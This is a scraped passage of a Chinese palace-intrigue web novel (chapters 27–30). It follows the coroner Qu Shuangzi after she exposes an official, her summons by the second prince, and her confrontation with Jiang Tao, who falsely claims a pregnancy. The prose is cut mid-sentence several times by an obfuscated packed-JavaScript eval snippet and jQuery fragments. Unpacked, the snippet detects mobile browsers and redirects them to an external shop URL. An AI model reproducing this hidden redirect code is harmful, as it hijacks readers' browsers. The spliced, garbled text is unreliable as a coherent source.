RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711884|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系!” 最后一位女子约摸二十出头,正是那日简亲娇收买的婢女。 那婢女将在王淮波身边侍奉时听到的看到的,以及所遭遇的一一道来,也证实了几个女人说的话。 温孤昪大怒,手中酒杯重重摔在地上,“王淮波,你真是猪狗不如,虐待妻女、谋害亲子、强占表嫂、杀夫夺妻!” “来人,拖下去!” 王淮波一边求饶一边咒骂,最后还是被侍卫拖下去。 简亲娇总算是松了口气,这才敢掉几滴眼泪,她身体又弱,平日里足不出户,现在都有些站不稳。 曲霜姿连忙扶住她。 出了这样“精彩”的插曲,宴会也就耽搁了,只能草草结束。 幸好陛下也没怪罪,这件事也终于是了结了。 曲霜姿扶着简亲娇走出殿门,她恭谨地拱手道:“恭喜小姐从此恢复自由之身,往后的日子定会顺遂无虞,皆得所愿。” “多谢你了。”女人眼里泛了泪花,笑容却是挚诚的。 “那简小姐未来打算如何?” “王淮波下狱,就算死罪能免,活罪也难逃。这么大的家业,我操持着也累,我打算变卖了去梁县生活。” “以后,已经嫁出去的女儿不用被父亲逼迫着生女儿,不用在家中担惊受怕。未嫁的女儿就跟着我回梁县,梁县又何愁没有好人家,大不了,不嫁又如何?” 曲霜姿笑着点头,二人一齐看向远处。 天色已晚,远远望去,盛京的大街小巷尽收眼底一览无余——华灯璀璨、烟火长燃,炫目的光映照在她们脸上,叫人一时看呆了。 果然是火树银花不夜天。 曲霜姿把简亲娇送走,这才倦怠而又畅快地伸了个懒腰。 她一回头,正看见脸色复杂的沈无逆。 “今日莽撞是我的错,但是世家权贵也并非是管不了。”她弯了眉眼,故作轻松地和男人商量:“我今日也没怎么给你惹麻烦吧,不管怎么样,就算扯平了,回去后不吵架了好不好?” 她爱说笑打闹,和沈无逆冷战也是伤敌八百,自损一千,得不偿失。 沈无逆眼底深邃如渊,面无表情道:“二皇子要见你。” “和我来吧。” 27. 进了贼窝了 二皇子上月满了十八,按本朝律例在宫外开府别住,沈无逆再找他述职也无需入宫了。 曲霜姿不明就里,换着法儿地问沈无逆二皇子为何要见自己,沈无逆却只是漠然回复两个字。 “不知。” 虽说曲霜姿不惧权势,但今日见到当今圣上温孤昪,她也算真的见识到了什么叫“皇权”。在大理寺卿口中不敢追查的王淮波,见了温孤昪却被吓得屁滚尿流,男人一句话就定了他的命运。 她慢吞吞地跟着沈无逆踏入二皇子府。 府内不同于外界的热闹,连灯都没点几盏,只偶尔有女婢、侍卫走动。二皇子想必也是刚刚出宫回府,只有一个书房灯火通明,在黑暗空旷的府邸里显得孤零零的。 沈无逆轻轻叩门,“殿下,我把人带来了。” 屋内传来懒洋洋的男声,声线暗哑,带着倦意,“进来吧。” 曲霜姿跟着沈无逆行了跪拜礼,趁着二皇子和沈无逆说话,偷偷抬眼看温孤嘉宸。 温孤嘉宸和他父亲生得很像,然而明明是少年面孔,言行举止间却给人一种处事不惊的老成感。 “你就是曲霜姿?”二皇子半眯着眼打量她良久,久到曲霜姿以为这人其实是睡着了。 “今日做的不错啊。”温孤嘉宸终于开了金口,说话的语气和他父亲一样,无喜亦无怒。 曲霜姿后知后觉地想起,王淮波是支持二皇子的,二皇子此番失了一个三品大官助力,想必也算是折损了一员大将。 她有些心虚,沈无逆站在一旁使眼色,示意她再跪下认罪。 能屈能伸……能屈能伸……曲霜姿在心里默念几遍,一咬牙就打算跪伏在地。 温孤嘉宸却笑了,“我并无怪罪之意,王淮波难成大器,不过酒囊饭袋一个。” 曲霜姿没忍住赞许地点头。 “那殿下今日召我们来是有何命令?”沈无逆试探开口。 二皇子不满地看了他一眼,直起身子坐好,伸手将一卷文书摊开,“有案子拜托二位大理寺的大人。” 沈无逆忙道不敢,小心看向那文书。 文书上密密麻麻的,总而言之——三品大官钱侍郎在曾任邬州按察使之时卖官鬻爵、贪污公款,事情原委甚至证人、证据都白纸黑字写得清清楚楚。 曲霜姿看呆了,这是查案吗? 沈无逆了然地点头,二皇子手下官员闹出此等丑闻,大皇子那边的人必会幸灾乐祸,而这位钱大人正是大皇子举荐回京的。 若是此人心术不正,贪污枉法、欺君罔上,那么大皇子也脱不开干系。 “臣领命。” 温孤嘉宸意味深长地看了曲霜姿一眼,曲霜姿这才从那张文书中缓过神来,磕磕巴巴地学舌:“臣领命。” “好,”温孤嘉宸揉揉眉心,挥手道:“你先退下吧,沈无逆,你留下。” 曲霜姿退出书房,在窗边无奈地看着屋内两个人影,她暗暗吐槽道:“专门召我过来,看你们讲秘密啊。” 她盯着那个卑躬屈膝的人影,莫名又想起儿时那个矜傲的小哥哥,曲霜姿轻轻摸了摸窗户上男人的倒影,不自觉地喃喃出声:“风光霁月、明德惟馨。” 怎么沦落至此呢? 她看得出沈无逆假笑下一颗冰冷的心,看得出他摧眉折腰下的不甘与痛苦,而曲霜姿也知道,自己就是那个罪魁祸首…… 沈无逆出了二皇子府后,面色就有些奇怪。他想起二皇子刚刚叮嘱自己看好曲霜姿,说是曲霜姿的身份定不简单,他又掂量掂量手中文书,二皇子说该有的查案步骤都不能少,以免让有心之人找出破绽。 可想而知,这文书中能有多少字是真的,这些字相串联在一起,编造出精密的牢笼,简直是字字泣血,都在为钱侍郎鸣冤。 沈无逆不仅得装腔作势地昧着良心查案,还要瞒着曲霜姿。 他抬眼看了看似乎心情不佳的曲霜姿,暗暗叹了口气,“曲霜姿,你还要闹别扭到什么时候?” 曲霜姿眼巴巴地看他,“我这不是怕你生气嘛?” “从前你背着我擅自行动,我也只是生气,现下二皇子也见过你了,你若是再像从前那样,恐怕就不是被生生气这么简单了。” 曲霜姿神色更加忧愁,不用沈无逆提醒她,她也知道她这是进了贼窝了。 “好了,今日你不也是立了大功吗?”沈无逆头疼地扶额,“左右我们也是一条绳子上的蚂蚱了,以后你犯了错,我为你求情怎么样?” 曲霜姿点点头,随后就要往客栈的方向去。 “既不赌气了,就和我回沈府吧。”沈无逆连忙喊她。 “好!”曲霜姿终于舍得露出笑容来了,跟着沈无逆上了马车。 伴随着马车辚辚之声,曲霜姿喋喋不休地把这两天的事情都讲给了男人听,还雀跃地说自己交了两位新朋友。 “两位?” “一位是我买来的小侍女,名叫乐知,只不过我不要她当我侍女,她还要跟着我,沈府应该住得下吧。” 沈无逆无奈点点头,“住得下。” “另一位是余家的少家主,余千帆。” 沈无逆敛眉,听出奇怪之处来,“余千帆也是新朋友?” “自然啊,我昨天才知道他的名字。”曲霜姿歪头,“有什么不对的?” “你不是早就认识余家人吗?”他奇怪道。 “是啊,但我认识余家人,不代表我认识余家所有人啊。”曲霜姿转了转眼珠,终于问出了自己多日以来的疑惑,“你是和余家结了什么仇吗?还是说二皇子和余家有什么?” “没有,至少我没有。”沈无逆回想起这些天自己神经兮兮的表现,脱口而出解释道,“不过,二皇子的事不是你我可以随意揣测的。” “不怪我没提醒你,”沈无逆压低声音,“小心隔墙有耳,二皇子割了你的舌头。” 曲霜姿瞬间焉了,嘴里小声嘟囔道:“就算是皇帝的儿子也不能随便割人舌头吧。” 沈无逆看她这副样子,苦笑着闭上眼。 曲婧曾救过他,曲霜姿也是无意毁了他假死的计划,她们母女两其实是对他有恩的。偏偏曲霜姿又是个不服天不服地的性子,在小小梁县还能自在逍遥,在这盛京可是万万不能的。 本来想让她在盛京待够了,自己离开,可现在却是引得了二皇子的注意,甚至今天在宴席上,皇帝也用难懂的眼神瞧了她好几眼。 总而言之,曲霜姿想要再离开就难了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711885|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 他抬眸,看向扒在车窗前沉浸在喜悦之中的曲霜姿,心莫名被揪痛了一瞬。 — 巧夕宴一过,大理寺就又闲了下来。 整个大理寺都听闻了曲霜姿在宫中的大事迹,好几个小捕快围在她面前,都想听听这查案的经过。 霍迁不可思议地看着她,“你!” 曲霜姿哼道:“你什么你,以后你可别仗着自己霍家公子的身份为所欲为了,只有行得正才能真的站得直。” “陛下明辨是非,可不会一直包容你们这群世家子弟。” 霍迁说不过她,但心里多少有点忌惮,难得地去整理卷宗了。 一向冷淡寡言的林寻雁倒一脸惊喜地凑到曲霜姿面前,“当真是你一人查破了这案子,帮着简夫人向陛下陈情?” “也不是,”曲霜姿不好意思地回答:“沈无逆,还有我的几位朋友都有帮我,有涉案人的配合,案子自然能破。” “林小姐,你那日说不是人人都想要入选,是什么意思?”曲霜姿没忘了余千帆的话,又联想到那日选拔时林寻雁意味深长的话,她小心翼翼地询问道。 林寻雁愣了愣,没想到曲霜姿能记到现在,她摸摸鼻子,“那天的冯纪川还记得吗?” 曲霜姿回想了下,“记得。” “他是为我而来,想和我一起入选,并不是真的想要当仵作。” “那你呢?” “我?”林寻雁想了想,“我其实,是想为百姓做些贡献的。” “从前大安不许女子为官,现在虽允了,却是我并不了解的仵作之职。”她嗳嗳轻叹,一双精致的凤眼含满了惘然,“自我阿父命我参选以来,我看了很多相关的书籍,但终究只是学了些皮毛。” “难以胜任此职。”林寻雁面色难看,有些难以启齿道。 “若不是盛京尚且安宁,恐怕我就要愧对于民了,”她苦笑一声,“曲霜姿,你比我想象中还要厉害。” “我这里有些书,你要学学看吗?”曲霜姿看出她一颗赤子心,于是认真地问。 “不用了,世面上相关的书籍我都有买,我多看看就是了。” 曲霜姿没说话,而是从怀里掏出一本来。 林寻雁拗不过,也不想辜负少女的好心,随手拿起来翻阅了几页。这本书和大安的其他书装订方法都不同,内页文字是手写的,所述内容之全面精细,都是林寻雁从未见过的。 她瞪大眼睛,“这是?” “我阿娘编写的,她从前也是仵作。”曲霜姿自豪地仰起头,“我的验尸工具也是我阿娘送我的。” “真不可思议,我竟不知道大安还有这样杰出的女仵作,”林寻雁一咬牙,恳切道:“令堂也来了盛京吗?我可否见一见她,拜她为师?” 曲霜姿只得无奈笑笑,语气却哀伤不已,“我阿娘已经去世了,我可以把书借给你看,你有不懂的可以问我。” “之后还有几册,你看完我再拿给你,只是务必细心对待。” 林寻雁捧着手中的书,只觉似有千斤重,抱得更紧了些,她感动道:“多谢。” 曲霜姿笑了笑,正要问她些别的,乐知却屁颠屁颠地跑了进来,“霜姿,外面有人找你!” 28. 破罐子破摔 曲霜姿正纳闷谁会找自己,一出大理寺就看见了踱步转圈的余千帆。 对!昨日忘记给余千帆道谢了。 “余公子好啊!”曲霜姿忙挤出讨好的笑容,“昨日多谢你了。” “这有什么好谢的,曲霜姿,你真牛啊!”少年眼里直冒星星,喋喋不休地吐出赞美之词来,“那可是王淮波啊,三品大官!” 余千帆的赞美相比于沈无逆、二皇子以及大理寺的捕快们真诚多了,少年意气、慷慨激昂,听得曲霜姿高兴极了。 “走,我请你去醉烟居喝酒!”大理寺也没什么事,曲霜姿高兴得过了头,索性就翘了班。 二人一踏进醉烟居,就有数不尽的人来给余千帆问好,余千帆一向乐在其中,今日却面露愁苦。 曲霜姿要了一壶酒、一壶茶,还要了几个小菜。她平日里是舍不得这样奢侈的,但昨日确实是多亏了余千帆,否则她怕是进不了宫闱的。 “喝酒!别皱着眉了,请你喝酒吃肉还不高兴。” 余千帆苦笑地看了眼桌上的酒和菜,虽比不上他惯常的酒菜,但也看得出曲霜姿是用了心、下了血本的。 只是他有些纳闷,“你不喝酒?” 曲霜姿也纳闷,“你不是知道我不喝酒吗?” “我不知啊。” “那天在客栈给我留纸条的不是你?”曲霜姿奇怪得很,她前日刚自作聪明以为自己找到了那个帮自己的人,今天就被打了脸。 她囫囵地把那天的事讲给余千帆听,余千帆听了笑得嘻嘻哈哈合不拢嘴,“哈哈哈,原来你喝了酒会变猪头啊!” 曲霜姿顾不得和他斗嘴,她思来想去,还是想不到其他有可能的人。 “行了,别想了,那客栈我家的,我去帮你查查,保准找到。” 二人又闲聊几句,然而每隔一会儿就有人来向余千帆攀谈。 “真是的,”余千帆一怒之下添了些钱,二人坐到了包厢里,“这些人真是不识眼色。” “也是你余千帆人缘好嘛。”曲霜姿安慰道。 余千帆重重叹了口气,“是余家少家主的名号更吸引他们一点。” “那你也是凭自己的本事当的少家主嘛。” “我……”余千帆犹豫再三,还是磕磕巴巴地开口了,“我不想当这个余少家主,不想成为余家未来的家主,不想一辈子活在族人的期望中,更不想永远活在世人眼里!” “我只想成为余千帆。” 少年说着说着,就落寞地垂下了头。 曲霜姿这才懂了他那日许的愿望——“只愿我是我”。原来,简简单单“做自己”对有些人来说都算是难事。 她等着余千帆平复好情绪再次开口,“曲小姐,你帮我个忙好嘛?” 曲霜姿没来得及思量,就匆匆点了点头,她性子直爽、讲义气,看着朋友难受就跟着难受,“你只管说是什么事。” “噗嗤。”余千帆被她一副要上刀山下火海的神情给都逗笑了。 但他很快正色,“你上次问过我余肃的事儿对吧?余肃是我叔父,是我父亲的幺弟,从小就被寄予厚望,我父亲也很羡慕他天资卓绝,我也一直很敬仰他……但他后来辞去少家主之位、离开了家,我祖父又悲又怒。” “可尽管如此,少家主之位也没到我父亲头上,我父亲的希望再次落空了。” “但是祖父上了年纪,他也怕哪天撒手人寰、家道中落,就把少家主之位传给了我,我父亲还算是高兴。”他苦笑着继续讲。 “我祖父身体健朗,竟然真的等回了余肃叔父,他真的很优秀,依旧不减当年。” “我这个少家主自然是做不得了,但我父亲咽不下这口气,他要我和叔父争。” 曲霜姿陷入沉思,这还是她第一次从除了说书人的口中听到余肃叔叔的故事,从前朝夕相处的日子仿佛就在昨天,但又恍如隔世。 她深吸一口气,小心翼翼试探地问:“所以你想让我帮你出主意争下这少家主之位?” 余千帆摇摇头,“非也。” “我父亲给我起名时,希望我永远是‘千帆’,是沉舟侧畔永远屹立不倒的千帆,”他回忆起余肃叔父离开后,自己被逼着苦读、习武的那段日子,“但我希望,我是‘千帆一道带风轻’的‘千帆’,我想去看看‘长江万里晴’的盛况。” 他耸耸肩,“毕竟是千帆嘛,总要在江中自由地飘荡飘荡不是嘛?” “所以,我是想,怎么样让余肃叔父成为少家主的情况下,不让我父亲失望,也不要让我被盛京人嘲笑。”他惭愧地摸摸头,不敢直视曲霜姿的眼睛。 少年说了一连串的话,口干舌燥喝了好几杯酒,脸都红得像是猴子屁/股了。 曲霜姿看着他笑了,倒不是嘲笑,而是欣慰于他的坦然。 其实有时候人们不是怕输,而是怕输得太惨、输得难看。余千帆看似酒肉穿肠过,整日里披着花花公子的皮谈笑生风,却也敢于说出多少人不敢说的话。 果然是君子坦荡荡,小人长戚戚。 “好,我帮你。”曲霜姿嘿嘿笑道:“我要帮你余飘荡——飘荡到长江上去。” “好啊,你取笑我!”余千帆很快反应过来,笑着嗔怪道。 说实话,要是余千帆真的想要和余肃叔叔争,那曲霜姿真的不知道该怎么办了,她肯定是偏心于余叔叔的。 她虽和余千帆臭味相投,但终究认识才不过几天。 “那我这几日帮你想想办法,想出来告诉你,”曲霜姿想了想又提醒道:“你也要记得帮我找找那晚那人是谁!” “一定一定。” 不消一日,曲霜姿就知道了那位“猪头大侠”是谁。 她来到沈无逆面前“兴师问罪”,“你为么要在我的脸上贴猪头!” 二人关系和缓后,沈无逆也就破罐子破摔,不再戴着那好好先生的面具对着曲霜姿了。他此时刚处理完公务,抱臂歇在椅子上,不耐烦地回应:“因为你喝完酒后肿得像猪头。” “而且,你醉酒后还走错了房间,蠢得像猪头。”他生怕气不死曲霜姿,又补充道。 “呦呦呦,那你喝酒很厉害?”曲霜姿瞪着眼睛挑衅他。 沈无逆笑着冷哼一声,伸出一只手指来。 曲霜姿挑眉,“一杯倒?那也不过如此嘛。” 沈无逆又冷笑一声,“是天下第一。”他欠兮兮地说完,这才想起来问:“你怎么知道那天在客栈是我。” “我拜托余千帆帮忙打听的呀。” 又是余千帆,沈无逆嘴角抽搐,莫名生出不悦来。然而他自己也是奇怪的,怎么就为一个和自己没有多少交集的余千帆不悦了,曲霜姿和谁交朋友和自己有什么关系啊! 他越想越烦躁,干巴巴地回了句:“哦。” “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711886|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你帮我出个主意吧。”曲霜姿靠着桌子,“不要告诉旁人哦。” 沈无逆:“哦。” 曲霜姿四下观察观察,确定没有闲杂人等才将余千帆托付给她的事娓娓道来。 沈无逆凝神思考,这才对余千帆稍有改观,“这是余家的家事,你还是不要瞎掺和。” “这怎么能叫瞎掺和呢?”曲霜姿不满道。 “余家先前的少家主余肃回京了,还带回一个女子,那女子似乎还有了身孕,但是余肃又不想认,闹得世家之中广为流传。” “余老家主很是不满。” “不可能!”曲霜姿反驳道:“你怎么什么都知道啊?一定是假的,你哪来的这虚假消息?” “二皇子手下的人得力,我连带着知道的自然就多了些。”沈无逆不屑地答道。 “行行行,那我自己想办法,”曲霜姿顿了顿,又忙补充:“我这次可没有先斩后奏啊。” 沈无逆揉揉眉心,没理她。 “那你既然无所不知、无所不晓,那我问你几个问题总成吧。”沈无逆还是没说话,曲霜姿就当他默认了,“你刚刚说余老家主,他为人如何?多大年龄?” “是上一任丞相,为人正直无私,却有些严肃古板,”沈无逆想了想,继续回答道:“今年应该七十余岁了吧。” “身体如何?妻妾健在否?” “身体硬朗,妻妾早亡。” “好奇怪,”曲霜姿皱皱眉,“自己身体硬朗,妻妾却都早早亡故了。” “正常,女子处境大多艰难,要是出身不好就更是雪上加霜。”沈无逆答得理所应当。 曲霜姿都盯着他,“你也奇怪。” “怎么?”沈无逆被看得心里发毛,不自在地摸了摸脸颊。 “你明知道女子处境艰难,却还觉得是理固当然?”曲霜姿攥紧眉头,语气难以自持地愤懑不平,“原本就是不正常的,是人人皆习以为常,以至于忽略了女子的处境。” 沈无逆心脏漏了一拍,他想起自己幼时母后的教导,母后让他未来一定要做一位好君王,一定要解民生疾苦,解女性困境。 他父皇待母后极好,偌大的邵辰后宫原先就只有母后一人,哪怕母后生下他后几年都未有所出,父皇还是顶着压力不纳新妃。 母后常抱着他,幸福地笑道:“你父皇是极好的丈夫,你以后也要像你父皇学习。” 这些记忆太过遥远,却不知为何滚烫至极,烫得他一时间说不出话来。沉默片刻后,他轻轻点头,懊恼道:“可是你又能怎么样呢?” “我会拼尽全力试图去改变。”曲霜姿目光炯炯,“哪怕我此一生,都不过是一粒微尘,哪怕我帮助的人也是微不足道,但那又如何呢?” 少女语气笃定又轻快,仿佛在说一件十分寻常的事情。 沈无逆看着她出神,竟然又想起了自己那伟岸的父皇。他心底莫名觉得,曲霜姿决不会是平凡的渺小的尘埃,眼前的少女体内似乎蕴藏着难以想象的能量。 — 曲霜姿出了大理寺,想念起余叔叔来。 按理说,她干了件大事,余叔叔必然是会早早找到自己,一面训斥一面夸赞。可是她现在每晚住在沈府,余叔叔都不好找自己,又或许根本没来找过。 毕竟沈无逆所言不像有假,难不成余叔叔真的是因为那个莫名的女子,烦恼得脱不开身嘛? 29. 患难见真情 曲霜姿拉着乐知在余府门口转了几圈,慢悠悠地往客栈去了。 她心不在焉地坐在椅子上品茶,乐知不解地凑过来问:“霜姿,你所说的余叔叔真的会来吗?” “应该会吧。”她不确定道。 余叔叔没有辜负曲霜姿的期望,他笑嘻嘻地敲了敲门,缓缓地推开,“霜姿,听闻你巧夕宴干了大事啊。” 曲霜姿摆出“那是自然”的神情,拉着乐知给余肃认识,“叔叔,这是我交的新朋友。” 二人聊了几句,曲霜姿就发现了男人脸上的疲态,终于回归正题:“余叔叔,你最近是遇上什么事儿了吗?” 余肃看着她忧虑的眼神,还是不忍心骗她,“是千帆那小子告诉你的?还是沈无逆?” “这个不重要,”曲霜姿皱着眉问:“真的有一个女子有了您的孩子?”她问得唐突,内心挣扎不已,生怕听到自己害怕的答案。 她的余叔叔真的有了自己的孩子吗? “你知道那是假的,”余肃苦笑着点了点少女的额头,“我怕是被我兄长给算计了。”他没敢说得更详细,没敢告诉曲霜姿那女子夜半趁着他醉酒还爬了自己的床,但被他费力赶了出去。 女孩子家家的,听了要烂耳朵的。 曲婧除外,年轻时的曲婧必要拉着他问个究竟的。 余肃想着想着就笑了,出神开始猜测曲婧如今知道了回是什么反应。 “余叔叔?”曲霜姿轻声唤他,“您想到什么高兴的事情了啊?这次的事您想如何解决啊?” 真是皇帝不急太监急。 “那女子因我坏了名声,她既然说有了我的孩子,那就让她生,十月之后若是仍然没有动静,自然就见分晓了。” “到时候把她送走,给些钱财就是了。” “只是权宜之计罢了。”男人补充道。 乐知想到了另一种情况,“那女子如果找别人有了孩子,继续骗人怎么办?” 曲霜姿一拍脑袋,“对啊,怎么办?” 余肃回答:“滴血认亲?” “好啊,”曲霜姿撅了噘嘴,“阿娘教的都忘记了,滴血认亲根本就是没有依据的啊。” “水中加白矾会血液相融,加清油则不会相融,我记着呢。”余肃顿了顿,怅惘道:“不敢忘却。” 曲霜姿听了也想起了母亲,愣神片刻却见一旁的乐知掉起了眼泪,“乐知,你怎么了?” 乐知忙不迭揩揩泪水,“看着你们二位,我就想起阿爹阿娘了。” “你不是说你从小是孤儿吗?” “对,是孤儿,可你们像真正的父亲和女儿,我就想起我幻想中的父母,我们相处时也是这样其乐融融的情景。” 曲霜姿帮忙抹掉她脸颊的泪,安慰道:“好啦,我们以后就是朋友,就是家人,还是真实存在的,好不好?” 乐知郑重点了点头。 曲霜姿不敢直视余肃,她怕余肃只当自己是朋友的女儿,怕一直以来都是自己在自作多情。 乐知心情愉悦起来,跑到街上买糖葫芦吃了。余肃突然严肃道:“霜姿,皇室的人有没有找你,尤其是温孤昪。” 曲霜姿摇头,只是提了二皇子召自己的事。 余肃长长吐了口气,“以后还是少和皇室的人纠缠,最好也远离沈无逆,如果到了万不得已非要面圣的时候,就以纱附面,懂了吗?” 曲霜姿正要追问,余肃就看出了他的心思,“不要问原因。” 他继续道:“至于我的事,你就不要操心了,余千帆那孩子其实人还是不错的,你要想和他交朋友就交吧。” 曲霜姿有一种被安排得明明白白的感觉。 — 醉烟居内,两个小苦瓜面对面地愁眉不展。 “难道就真的没有办法了吗?”余千帆趴在桌子上,把头发都揉得一团糟。 他这边烦恼着少家主之事,曲霜姿却在替她余叔叔烦恼,“难道就真的没有办法了吗?” “哎哎,我问你一个问题。” 余千帆恹恹的,“啊?” “你叔父不是最近惹了桃花债?你知道那女子是谁吗?” “知道啊,就住在余府呢,”余千帆有一声哀叹,“这和我要你帮我的事儿有什么关系?” 曲霜姿想了想,眼睛一亮,“当然有啊,你想——现在不只是你不想当少家主的问题,还有你叔父因为这个女子名声受损、惹你阿爷不快的问题。” “那不得也要解决啊。” 余千帆点点头,确实是这个道理,随后曲霜姿又开始了说教:“你啊,和你叔父其实很像,你叔父也喜欢你,你不如先和你叔父把事情说清楚,这样不也事半功倍?” “小时候,我叔父确实对我挺好的,”余千帆说着说着眯起了眼睛,“你如何知道我叔父喜欢我?” 曲霜姿一愣,赶忙神气道:“我料事如神不行嘛?” “行吧,那我叔父的事儿又该怎么解决?” “你先约她出来,让我见见呗。” “随随便便约一个女子出来,那多不合适啊。”余千帆皱了皱眉。 曲霜姿冷笑,眼神仿佛要杀死人,“那你约我在此作甚?你余千帆声名在外,祸害的女子还少吗?” “你这是什么话!咱们二人兄弟,患难见真情!而且你又不是不知道,我那是装给我爹看到,想和我爹对着干,让他知道我不是当家主的料。”余千帆一口茶水没来得及咽下,他拍案而起急忙为自己辩解。 “让你帮我进宫就是患难见真情了?”她瞥了眼少年,啃起桌上的苹果。 “你面见的可是圣上,威严庄重,你告的是三品大官,在朝中也算叱咤风云的人物,稍不留神,圣上追究起来我也是要掉脑袋的。”他伸手打掉少女的苹果。 “好好好。”曲霜姿心疼极了,捡起后擦了又擦,“说话就说话,打我苹果干什么?” 进了八月,夏天已然接近尾声,午后的大街终于热闹起来,不再只有知了唱歌的声音了。 曲霜姿从余千帆口中得知,那位女子名江桃,从前也常来醉烟居里听说书,只是不知为什么,有一日气冲冲地就离开了,然后再未来过。 当时就有好些人背地里议论,说这江桃姑娘必然是余肃的爱慕者之一。 果不其然,不消半月就出了这档子事。 曲霜姿灵机一动,让余千帆找了几个小厮传话,说是今日午后说书郎又要讲关于前任余少家主的故事了。 而她和乐知提前看了江桃的画像,就负责守株待兔,在醉烟居里蹲人。 乐知直打瞌睡,这几天曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711887|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜姿帮两位余公子的忙,乐知就帮她揽了大理寺的活儿,代替曲霜姿被使唤来使唤去的。 虽然也为能靠自己的努力养活自己而高兴,但一天下来,总是筋疲力尽的,有时夜里还打呼呢。 曲霜姿也心疼她,索性打发她回去睡觉,自己一个人蹲守着。 乐知一走,疑似江桃的女人就出现了。 柳叶眉、含情眼、瓜子脸,弱柳扶风的模样,可见那画师还是有点真功夫在身上的,那画像上的神韵栩栩如生呢。 曲霜姿啧啧称奇,这样娇娇的女子,居然敢为了余肃叔叔慷慨直言,与众男子争论,看来是真的喜欢。 女子疑惑不已,压根没有说书郎啊。 曲霜姿走近,“江桃姑娘,我们可能谈谈?” 江桃轻轻蹙眉,警惕地看着她,“你是何人?”那日没来得及细看,曲霜姿这才发现,原来如此情态的女子竟这般撩人心弦,一颦一笑、哪怕是轻轻抬手放在唇边,都让人忍不住升起呵护之情。 她看了都两眼发直,若不是她心里默认了余肃叔叔喜欢自己阿娘,否则二人也未必不是良配。 意识到自己的荒唐想法,曲霜姿忙摇摇头,提醒自己眼前这位是污蔑自家余叔叔的坏女人。 但她很快又想起那句俗语——“漂亮的女人会说谎。” 曲霜姿清清嗓子,假意礼貌地将江桃请上二楼厢房。 二人一进厢房,曲霜姿就立马锁了门,江桃瞬间慌了神,作势就要喊出来。 “你喊什么?这里就我一个女子,你二十又六,比我大了十岁不止,还怕我会害你?”曲霜姿面色冰冷,眼神直勾勾地盯着江桃,“还是说你怕因果报应不爽?” “害了人,怕造报应!?”曲霜姿声音猛得拔高,女人有如惊弓之鸟,连连后退,面色都难看起来。 “你胡说,我何时害了人?”江桃有些心虚,眼神飘忽不定。 “你污蔑余肃,坏了他的民声,害他不能当少家主!”曲霜姿义正言辞,女人却噗嗤一声笑了,笑得花枝招展。 “我当是什么了,你这小妮子,也看上了我们家余大人?”江桃放松下来,翩翩落座,自顾自地捧起茶水抿了一小口,“我劝你,还是趁早死了这条心吧。” “哪里是你们家余大人!”曲霜姿皱眉喝道:“你不要再胡言乱语。” “如果是我胡言乱语,你又何苦花着心思把我约到这里?”女人笑靥如花,看着温软香玉一般,一碰就折了似的,其实是八面玲珑、舌灿莲花。 曲霜姿没忘了初心,她努力平复心情,“你既然说你和余大人原是两情相悦,你却惨遭抛弃,可如果余肃干出这样的事儿来,你又何苦来找他?” “再退一步,就算他真的抛弃了你,你们又是什么时候培养的感情呢?” 江桃只是兀自摸摸自己的肚子,“因为我怀了他的骨肉,纵使我当娘的委屈些又如何?我的孩儿不能没有父亲。” 曲霜姿急得伸出手,“我会把脉,我来看你到底有没有身孕!” 她手还没伸过去,就被女人打了一下。 “你一个小姑娘,就不要胡闹了行吗?”江桃气呼呼的,面色都红润起来,更加面若桃花,然而曲霜姿再没了欣赏的心情。 因为江桃的下一句话,彻底戳痛了她。 30. 治标不治本 “再者,你又是以何身份自居,凭什么管余肃的事情?”江桃挑眉,嘴角勾起玩味。 曲霜姿大脑突然空白,被这句话问得眼睛一酸。对哦,余叔叔还特意交代了不要自己管,自己也许还在给他添麻烦呢。 凭什么呢?她努力在大脑里搜刮答案。思索半晌,她终于得出一个结论,是自己太自以为是了。 她在心里将余肃看作了母亲的爱人、看作了家人、看作了父亲。 “我……”曲霜姿鲜少这般说不出话来。 于是江桃更加得意,站起来便要离去,走到曲霜姿身边还附耳低语道:“小妹妹,不要多管闲事,尤其是别人的家事。” 曲霜姿一咬牙,皮笑肉不笑地猛得擒住女人的手腕儿,“喜脉如珠滚玉盘,往来流利。”她抬起头,虽然已经眼中含泪,但还是倔强地笑道:“江小姐,你没有怀孕。” 